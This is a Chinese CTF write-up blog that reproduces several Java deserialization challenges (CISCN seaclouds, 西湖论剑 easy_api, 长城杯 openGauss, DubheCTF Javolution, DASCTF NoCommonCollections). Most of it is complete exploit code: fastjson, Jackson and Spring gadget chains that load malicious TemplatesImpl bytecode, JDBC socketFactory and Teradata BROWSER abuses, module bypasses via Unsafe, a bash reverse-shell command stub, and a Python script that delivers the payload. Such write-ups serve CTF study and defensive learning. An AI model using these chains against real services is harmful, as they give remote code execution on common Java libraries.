DAAYwAxAHAAMgCAADMAlAA0AJ8ANQCoADcAPAAAAC4ABv0AKAEHAD0fWAcAPv4ALgcAPgcAPwcAQEEHAD3/ABUAAwcAQQcAQgcAQwAAAEQAAAAEAAEARQABAEYARwACADgAAAAZAAAAAwAAAAGxAAAAAQA5AAAABgABAAAAPABEAAAABAABAEgAAQBGAEkAAgA4AAAAGQAAAAQAAAABsQAAAAEAOQAAAAYAAQAAAEEARAAAAAQAAQBIAAgASgA3AAEAOAAAAOoABgAHAAAAf7gAGxIcA7kAHQMAwAAeSyoSH7kAIAIAwAAfTCu2ACESIrYAI00sBLYAJCwrtgAlwAAmThInEigFvQApWQMSKlNZBBIrU7YALDoEBL0ACVkDEi1TuAAuLbkALwIAuQAwAQA6BbsAJ1m3ADE6BisZBRkGGQS2ADKnAAhLKrYANLEAAQAAAHYAeQAzAAIAOQAAAEIAEAAAABcADwAYABsAGQAlABoAKgAbACwAHAAzAB0ASgAeAFcAHwBcACAAYwAhAGwAIgB2ACYAeQAkAHoAJQB+ACcAPAAAAAkAAvcAeQcASwQAAgBMAAAAAgBNAH4AAAASAAIAJgB7AH0ACQCGAHsAwwYJ" ; byte [] bytes=Base64.getDecoder().decode(s); setFieldValue(templates,"_name" ,"EddieMurphy" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); POJONode pojoNode=new POJONode (templates); HotSwappableTargetSource hotSwappableTargetSource=new HotSwappableTargetSource (1 ); HotSwappableTargetSource hotSwappableTargetSource1=new HotSwappableTargetSource (2 ); HashMap hashMap=new HashMap (); hashMap.put(hotSwappableTargetSource,"1" ); hashMap.put(hotSwappableTargetSource1,"2" ); setFieldValue(hotSwappableTargetSource,"target" ,pojoNode); setFieldValue(hotSwappableTargetSource1,"target" ,new XString ("a" )); KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA" ); kpg.initialize(1024 ); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject (hashMap, kp.getPrivate(), Signature.getInstance("DSA" )); POJONode pojoNode1=new POJONode (signedObject); HotSwappableTargetSource hotSwappableTargetSource2=new HotSwappableTargetSource (3 ); HotSwappableTargetSource hotSwappableTargetSource3=new HotSwappableTargetSource (4 ); HashMap hashMap1=new HashMap (); hashMap1.put(hotSwappableTargetSource2,"1" ); hashMap1.put(hotSwappableTargetSource3,"2" ); setFieldValue(hotSwappableTargetSource2,"target" ,pojoNode1); setFieldValue(hotSwappableTargetSource3,"target" ,new XString ("b" )); CodecMessageConverter codecMessageConverter = new CodecMessageConverter (new MessageCodec ()); GenericMessage genericMessage = new GenericMessage (hashMap1); byte [] decodemsg = (byte []) codecMessageConverter.fromMessage(genericMessage, null ); System.out.println(Base64.getEncoder().encodeToString(decodemsg)); } public static void setFieldValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static byte [] getTemplates() throws CannotCompileException, NotFoundException, IOException { ClassPool classPool=ClassPool.getDefault(); CtClass ctClass=classPool.makeClass("Test" ); ctClass.setSuperclass(classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" )); String block = "Runtime.getRuntime().exec(\"exec\");" ; ctClass.makeClassInitializer().insertBefore(block); return ctClass.toBytecode(); } }
记得URL编码:
参考:
【Web】记录CISCN 2023 西南半决赛 seaclouds题目复现-CSDN博客
【Web】关于Java反序列化那些实现机制的朴素通识-CSDN博客
CISCN 2023 西南赛区半决赛 (Hessian原生JDK+Kryo反序列化) | Java (gitbook.io)
CISCN2023西南赛区半决赛 seaclouds (yuque.com)
[西湖论剑 2022]easy_api 比较简单的一道题,主要是复习一下fj吧。
先审计一下源码。
分析
简单的index路由,没啥好看的。
找到java反序列化入口,看下lib里都有啥:
fj1.2.48,没事了,直接打。
这里有个小插曲就是绕到/api/test上:
其实也很简单,双斜杠就绕了:web.xml filter 绕过匹配访问(针对jetty)_jetty权限绕过-CSDN博客
fastjson最经典的部分是自动触发getter来getProperties加载字节码,如何触发getter可以通过JSON.parse触发,也可以通过toJSONString触发,很有意思的是JSON这个类的tostring就是toJSONString:
题目ban了BadAttributeValueExpException
来触发tostring,也ban了JNDI的一些方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected Class resolveClass (ObjectStreamClass desc) throws IOException, ClassNotFoundException { String className = desc.getName(); String[] denyClasses = new String []{"java.lang.reflect.Proxy" , "javax.management.BadAttributeValueExpException" , "sun.rmi.server.UnicastRef" , "sun.rmi.transport.LiveRef" , "sun.rmi.transport.tcp.TCPEndpoint" , "java.rmi.server.RemoteObject" , "java.rmi.server.RemoteRef" , "java.rmi.server.ObjID" , "java.rmi.RemoteObjectInvocationHandler" , "java.rmi.server.UnicastRemoteObject" , "java.rmi.registry.Registry" }; String[] var4 = denyClasses; int var5 = denyClasses.length; for (int var6 = 0 ; var6 < var5; ++var6) { String denyClass = var4[var6]; if (className.startsWith(denyClass)) { throw new InvalidClassException ("Unauthorized deserialization attempt" , className); } } return super .resolveClass(desc); }
那么我们可以用xstring来触发,复制之前的部分即可。
gadget:
1 2 3 4 readObject->hashmap.put ->XString.toString ->JSON.toString ->Templates.getProperties
XString后面直接接上恶意字节码打了。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 package com.eddiemurphy;import com.alibaba.fastjson.JSONObject;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.ClassPool;import org.springframework.aop.target.HotSwappableTargetSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Array;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.net.URLEncoder;import java.util.Base64;import java.util.HashMap;public class Exp { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates, "_bytecodes" , new byte [][]{ ClassPool.getDefault().get(Evil.class.getName()).toBytecode() }); setFieldValue(templates, "_name" , "Evil" ); setFieldValue(templates, "_class" , null ); JSONObject jsonObject = new JSONObject (); jsonObject.put("jb" , templates); HashMap<Object, Object> s = new HashMap <>(); setFieldValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); HotSwappableTargetSource v1 = new HotSwappableTargetSource (jsonObject); HotSwappableTargetSource v2 = new HotSwappableTargetSource (new XString ("EddieMurphy" )); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setFieldValue(s, "table" , tbl); try { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream outputStream = new ObjectOutputStream (byteArrayOutputStream); outputStream.writeObject(s); System.out.println(URLEncoder.encode(new String (Base64.getEncoder().encode(byteArrayOutputStream.toByteArray())),"UTF-8" )); outputStream.close(); }catch (Exception e){ e.printStackTrace(); } } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } }
Evil.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package com.eddiemurphy;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Evil extends AbstractTranslet { public Evil () { super (); try { Runtime.getRuntime().exec("bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}" ); }catch (Exception e){ e.printStackTrace(); } } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
2024京津冀长城杯-openGuass 非常好jdbc,使我的jdk17旋转。
分析 UserController逻辑很简单:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 @RequestMapping({"/user"}) public class UserController { public UserController () { } @PostMapping({"/info"}) public String ser (@RequestParam String data) { try { ObjectInputStream ois = new ObjectInputStream (new ByteArrayInputStream (Base64.getDecoder().decode(data))); admin user = (admin)ois.readObject(); return user.getName(); } catch (Exception var4) { Exception e = var4; return e.toString(); } } }
看一手依赖:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <dependencies > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-web</artifactId > </dependency > <dependency > <groupId > org.springframework.boot</groupId > <artifactId > spring-boot-starter-test</artifactId > <scope > test</scope > </dependency > <dependency > <groupId > org.opengauss</groupId > <artifactId > opengauss-jdbc</artifactId > <version > 2.0.1-compatibility</version > </dependency > <dependency > <groupId > com.oracle.coherence.ce</groupId > <artifactId > coherence-rest</artifactId > <version > 14.1.1-0-3</version > </dependency > <dependency > <groupId > com.alibaba.fastjson2</groupId > <artifactId > fastjson2</artifactId > <version > 2.0.37</version > </dependency > </dependencies >
思路参照欧阳学长的:记一次tabby利用链挖掘 | H4cking to the Gate . (h4cking2thegate.github.io)
本题依赖存在 opengauss-jdbc,虽然没见过,但是可以从代码和文档中看到,是用 postgre jdbc 改的,那么经典的方法就是利用 socketFactory 来触发 String 参数构造方法
常见的出网利用方法是 ClassPathXmlApplicationContext
。
那么利用链中间的部分可以暂定为 jdbc,接下来需要触发 getter,以及寻找 sink。
我们可以写出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public static void main (String[] args) throws Exception { String className = "org.springframework.context.support.ClassPathXmlApplicationContext" ; String myargs = "http://localhost:8000/exp.xml" ; Object dataSource = getDataSource(className, myargs); }public static Object getDataSource (String className, String myargs) throws Exception { Properties properties = new Properties (); properties.setProperty("socketFactory" , className); properties.setProperty("socketFactoryArg" , myargs); PGSimpleDataSource dataSource = new PGSimpleDataSource (); setFieldValue(dataSource, "properties" , properties); dataSource.setUser("test" ); dataSource.setPassword("test" ); dataSource.setServerName("localhost" ); dataSource.setPortNumber(1234 ); dataSource.setDatabaseName("test" ); return dataSource; }
getDataSource即是利用socketFactory来设置pg数据库的一些参数,但是这里并没有getConnect操作,所以只是一个设置,并不需要本地起一个pg数据库。
若我们想在jdk17下触发toString,可以用Jackson链的EventListenerList
或者 Xstring
,或许依赖中还存在别的利用链。
下面用XString
来实现。
学长其实还挖掘到一个入口类,tql:
1 com.tangosol.coherence.mvel2.sh.ShellSession#ShellSession (java.lang.String)
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 package com.eddiemurphy;import cn.openGauss.WebApp.user.admin;import com.alibaba.fastjson2.JSONArray;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.opengauss.ds.PGSimpleDataSource;import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;import javax.sql.DataSource;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.Base64;import java.util.HashMap;import java.util.Properties;public class OpenGaussTest { public static void main (String[] args) throws Exception { admin user = new admin ("EddieMurphy" ); String className = "com.tangosol.coherence.mvel2.sh.ShellSession" ; String myargs = "new java.lang.ProcessBuilder(new java.lang.String[]{\"bash\", \"-c\", \"{echo,<base64反弹shell>}|{base64,-d}|{bash,-i}\"}).start()" ; Object dataSource = getDataSource(className, myargs); Object proxy = getProxy(dataSource, DataSource.class); Object exp = getXstringMap(proxy); String b = base64Serialize(exp); base64Deserialize(b); } public static Object getProxy (Object obj,Class<?> clazz) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(obj); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{clazz}, handler); return proxy; } public static Object getXstringMap (Object obj) throws Exception { JSONArray node = new JSONArray (); node.add(obj); XString xString = new XString ("EddieMurphy" ); HashMap<Object, Object> map1 = new HashMap <>(); HashMap<Object, Object> map2 = new HashMap <>(); map1.put("yy" , node); map1.put("zZ" , xString); map2.put("yy" , xString); map2.put("zZ" , node); Object o = makeMap(map1, map2); return o; } public static Object getBadAttr (Object obj) throws Exception { JSONArray jsonArray = new JSONArray (); jsonArray.add(obj); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); setFieldValue(val, "val" , jsonArray); return val; }
自行补充那几个方法就可以了,可以直接用fj的平替。
还涉及一个JVM的vm-options操作,不然是不能直接调用XString的,而且pom里还需要build特定的东西,不然还是会找不到包(满满的坑)。
setFieldValue不能直接写简单的反射,应该要做到递归调用父类方法,不然也是调用不到setProperty方法。
org.springframework.context.support.ClassPathXmlApplicationContext
同理可通,出网随便打:
exp.xml
:
1 2 3 4 5 6 7 8 9 <beans xmlns ="http://www.springframework.org/schema/beans" xmlns:xsi ="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation ="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd" > <bean id ="pb" class ="java.lang.ProcessBuilder" init-method ="start" > <constructor-arg > <list > <value > calc</value > </list > </constructor-arg > </bean > </beans >
学长的挖掘链方法:
2024DubheCTF-Javolution 欧阳学长出的题,真的质量很高啊。
其实这道跟上面ccb那道有地方逻辑很像,也是用JDBC来打,这里的数据库变成了Teradata,不同的点在于,代码会真的对数据库发起一次连接,所以必须真的搭一个Teradata数据库,或者写一个Teradata的fakeserver。
当然,天无绝人之路,确实有现成的:
luelueking/Deserial_Sink_With_JDBC: Some ReadObject Sink With JDBC (github.com)
分析 攻击方法来自:AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf (blackhat.com)
题目前面是一个负数溢出的绕过,以及最后套一个SSRF,域名要包含dubhe,sudo.cc
本就是执行localhost
的,所以dubhe.sudo.cc
即可。就不详细写了。我们把重心放到后面jdk17的jdbc攻击上。
JVM参数设置:
1 --add-opens java.xml/com.sun.org.apache.xpath.internal.objects=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED
但是难绷的是,我自己复现怎么都连不上这个fakeserver的数据库,导致payload出不来,一直找不到方法,作罢。
new:解决这个问题了,fakeserver上放fakesso的ip只放127.0.0.1而不是vps_ip导致的,笑拉了。
Gadget-Chains可以慢慢跟出来:
1 2 3 TeraDataSourceBase.createNewConnection –> ConnectionFactory.createConnection new RawConnection —> RawConnection构造函数引用父类构造GenericTeradataConnection —> GenericTeradataConnection构造函数—> Runtime.getRuntime().exec()
EXP 怎么打都随便通啊。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 package com.eddiemurphy;import com.fasterxml.jackson.databind.node.POJONode;import com.teradata.jdbc.TeraConnectionPoolDataSource;import com.teradata.jdbc.TeraDataSource;import com.teradata.jdbc.TeraDataSourceBase;import com.teradata.jdbc.TeraPooledConnection;import org.dubhe.javolution.pool.PalDataSource;import org.springframework.aop.framework.AdvisedSupport;import org.springframework.aop.target.HotSwappableTargetSource;import sun.misc.Unsafe;import javax.management.BadAttributeValueExpException;import javax.sql.DataSource;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.nio.file.Files;import java.nio.file.Paths;import java.sql.SQLException;import java.util.*;public class Exp2 { public static void main (String[] args) throws Exception { final ArrayList<Class> classes = new ArrayList <>(); classes.add(Class.forName("java.lang.reflect.Field" )); classes.add(Class.forName("java.lang.reflect.Method" )); classes.add(Class.forName("java.util.HashMap" )); classes.add(Class.forName("java.util.Properties" )); classes.add(Class.forName("java.util.PriorityQueue" )); classes.add(Class.forName("com.teradata.jdbc.TeraDataSource" )); classes.add(Class.forName("javax.management.BadAttributeValueExpException" )); classes.add(Class.forName("com.sun.org.apache.xpath.internal.objects.XString" )); classes.add(Class.forName("java.util.HashMap$Node" )); classes.add(Class.forName("com.fasterxml.jackson.databind.node.POJONode" )); new Exp2 ().bypassModule(classes); TeraDataSource dataSource = new PalDataSource (); dataSource.setBROWSER("calc" ); dataSource.setLOGMECH("BROWSER" ); dataSource.setDSName("vps" ); dataSource.setDbsPort("10250" ); Class unsafeClass = Class.forName("sun.misc.Unsafe" ); Field field = unsafeClass.getDeclaredField("theUnsafe" ); field.setAccessible(true ); Unsafe unsafe = (Unsafe) field.get(null ); Module baseModule = dataSource.getClass().getModule(); Class currentClass = PriorityQueue.class; long offset = unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )); unsafe.putObject(currentClass, offset, baseModule); Class<?> clazz = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ); Constructor<?> cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true ); AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(dataSource); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class [] {DataSource.class}, handler); POJONode pojoNode = new POJONode (proxyObj); Class cls = Class.forName("com.sun.org.apache.xpath.internal.objects.XString" ); Constructor constructor = cls.getDeclaredConstructor(String.class); constructor.setAccessible(true ); Object xString = constructor.newInstance("1" ); HashMap hashMap = makeMap(xString,pojoNode); serialize(hashMap); unserialize("ser.bin" ); } public static HashMap<Object, Object> makeMap (Object obj1, Object obj2) throws Exception { HotSwappableTargetSource v1 = new HotSwappableTargetSource (obj2); HotSwappableTargetSource v2 = new HotSwappableTargetSource (obj1); HashMap<Object, Object> s = new HashMap <>(); setFiledValue(s, "size" , 2 ); Class<?> nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setFiledValue(s, "table" , tbl); return s; } public static void setFiledValue (Object obj, String key, Object val) throws Exception { Field field ; try { field = obj.getClass().getDeclaredField(key); }catch (Exception e){ if (obj.getClass().getSuperclass() != null ) field = obj.getClass().getSuperclass().getDeclaredField(key); else { return ; } } field.setAccessible(true ); field.set(obj,val); } public static void serialize (Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (byteArrayOutputStream); oos.writeObject(obj); String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(payload); } public static void unserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (Files.newInputStream(Paths.get(Filename))); Object obj = ois.readObject(); } public void bypassModule (ArrayList<Class> classes) { try { Unsafe unsafe = getUnsafe(); Class currentClass = this .getClass(); try { Method getModuleMethod = getMethod(Class.class, "getModule" , new Class [0 ]); if (getModuleMethod != null ) { for (Class aClass : classes) { Object targetModule = getModuleMethod.invoke(aClass, new Object []{}); unsafe.getAndSetObject(currentClass, unsafe.objectFieldOffset(Class.class.getDeclaredField("module" )), targetModule); } } }catch (Exception e) { } }catch (Exception e){ e.printStackTrace(); } } private static Method getMethod (Class clazz, String methodName, Class[] params) { Method method = null ; while (clazz!=null ){ try { method = clazz.getDeclaredMethod(methodName,params); break ; }catch (NoSuchMethodException e){ clazz = clazz.getSuperclass(); } } return method; } private static Unsafe getUnsafe () { Unsafe unsafe = null ; try { Field field = Unsafe.class.getDeclaredField("theUnsafe" ); field.setAccessible(true ); unsafe = (Unsafe) field.get(null ); } catch (Exception e) { throw new AssertionError (e); } return unsafe; } }
官方:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 package com.eddiemurphy;import com.sun.org.apache.xpath.internal.objects.XString;import com.fasterxml.jackson.databind.node.POJONode;import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import org.dubhe.javolution.pool.PalDataSource;import org.springframework.aop.framework.AdvisedSupport;import javax.management.BadAttributeValueExpException;import javax.sql.DataSource;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.*;import java.util.Base64;import java.util.HashMap;public class Exp { public static void main (String[] args) throws Exception { String command = "calc" ; PalDataSource dataSource = new PalDataSource (); dataSource.setBROWSER(command); dataSource.setLOGMECH("BROWSER" ); dataSource.setDSName("vps" ); dataSource.setDbsPort("10250" ); dataSource.setBROWSER_TIMEOUT("2" ); dataSource.getConnection(); Object proxy = getProxy(dataSource, DataSource.class); Object exp = getXstringMap(proxy); base64Serialize(exp); } public static Object getProxy (Object obj,Class<?> clazz) throws Exception { AdvisedSupport advisedSupport = new AdvisedSupport (); advisedSupport.setTarget(obj); Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" ).getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport); Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class []{clazz}, handler); return proxy; } public static Object getBadAttr (Object obj) throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); POJONode node = new POJONode (obj); BadAttributeValueExpException val = new BadAttributeValueExpException (null ); setFieldValue(val, "val" , node); return val; } public static Object getXstringMap (Object obj) throws Exception { CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode" ); CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace" ); ctClass.removeMethod(writeReplace); ctClass.toClass(); POJONode node = new POJONode (obj); XString xString = new XString ("EddieMurphy" ); HashMap<Object, Object> map1 = new HashMap <>(); HashMap<Object, Object> map2 = new HashMap <>(); map1.put("yy" , node); map1.put("zZ" , xString); map2.put("yy" , xString); map2.put("zZ" , node); Object o = makeMap(map1, map2); return o; } public static HashMap makeMap (Object v1, Object v2) throws Exception { HashMap s = new HashMap (); setFieldValue(s, "size" , 2 ); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node" ); } catch (ClassNotFoundException e) { nodeC = Class.forName("java.util.HashMap$Entry" ); } Constructor nodeCons = nodeC.getDeclaredConstructor(int .class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true ); Object tbl = Array.newInstance(nodeC, 2 ); Array.set(tbl, 0 , nodeCons.newInstance(0 , v1, v1, null )); Array.set(tbl, 1 , nodeCons.newInstance(0 , v2, v2, null )); setFieldValue(s, "table" , tbl); return s; } public static String base64Serialize (Object obj) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (byteArrayOutputStream); oos.writeObject(obj); String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(payload); return payload; } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } }
其实还可以打Eventlistenerlist的链子:
1 2 3 4 5 6 7 8 public static Object makeReadObjectToStringTrigger (Object obj) throws Exception { EventListenerList list = new EventListenerList (); UndoManager manager = new UndoManager (); Vector vector = (Vector) ReflectionHelper.getFieldValue(manager, "edits" ); vector.add(obj); ReflectionHelper.setFieldValue(list, "listenerList" , new Object []{InternalError.class, manager}); return list; }
一把梭:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests payload = "rO0ABXNyABFq......" baseUrl = "xxxxxx" def battle (boss ): res = requests.get(baseUrl + f"/pal/battle/{boss} " ) print (res.text) def cheat (): res = requests.get(baseUrl + "/pal/cheat?defense=-2147483648" ) def show (): res = requests.get(baseUrl + "/pal/show" ) print (res.text)def reverseShell (): res = requests.post(baseUrl + "/pal/cheat" , data={"host" : "dubhe.sudo.cc" , "data" : payload}) print (res.text)if __name__ == "__main__" : cheat() show() battle("Jetragon" ) show() reverseShell()
参考:
Javolution 出题小记 | H4cking to the Gate . (h4cking2thegate.github.io)
DubheCTF坐牢记录 (pankas.top)
Javolution - Zer0peach can’t think
2024 XCTF 联赛 DubheCTF 部分题解 - S1uM4i
AS-23-Yuanzhen-A-new-attack-interface-in-Java.pdf (blackhat.com)
luelueking/Deserial_Sink_With_JDBC: Some ReadObject Sink With JDBC (github.com)
[DubheCTF 2024 Web Writeup - Boogiepop Doesn’t Laugh (boogipop.com)](https://boogipop.com/2024/03/19/DubheCTF 2024 Web Writeup/#Javolution)
DASCTF X HDCTF 2024 - NoCommonCollections 官方wp:DASCTF X HDCTF 2024 官方WP (yuque.com)
复现这道题主要是为了巩固JRMP和内存马。
分析 给了两个jar,一个题目逻辑,同时上了一个RASP通防。
借鉴了官网的wp,分析一下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public static void main (String[] args) throws IOException { int port = 8081 ; HttpServer server = HttpServer.create(new InetSocketAddress (port), 0 ); server.createContext("/" , new MyHandler ()); server.setExecutor((Executor)null ); server.start(); System.out.println("Server is listening on port " + port); }static class MyHandler implements HttpHandler { MyHandler() { } public void handle (HttpExchange exchange) throws IOException { try { InputStream requestBody = exchange.getRequestBody(); ByteArrayOutputStream buffer = new ByteArrayOutputStream (); byte [] data = new byte [1024 ]; int nRead; while ((nRead = requestBody.read(data, 0 , data.length)) != -1 ) { buffer.write(data, 0 , nRead); } buffer.flush(); String base64Param = buffer.toString(); SerializeUtil.base64deserial(base64Param); String response = "Data received successfully" ; exchange.sendResponseHeaders(200 , (long )response.length()); OutputStream os = exchange.getResponseBody(); os.write(response.getBytes()); os.close(); } catch (Exception var9) { String response = "Error" ; exchange.sendResponseHeaders(200 , (long )response.length()); OutputStream os = exchange.getResponseBody(); os.write(response.getBytes()); os.close(); } } }
很显然的反序列化入口,只需要post传参数据它自己就会接收,显示结果。
它还重写了ObjectInputStream,看一看:
如题目所示,真是NoCommonsColletctions。
比较传统的一些过滤,题目只给了CC依赖没有给其他的东西,但是cc下的类又被黑名单过滤了,这种情况下由于没法触发getter,你不能使用SignObject
二次反序列化,这里就该使用YsoSerial的JRMP服务去攻击了。
但是这一题还有个点位就是有个Rasp Hook了Runtime
和ProcessBuilder
方法:
因此这一题我们还需要反射调用native的forandexec
方法去命令执行,并且需要自己实现一个JRMPListner
。
EXP 这里采用的是打入一个内存马:
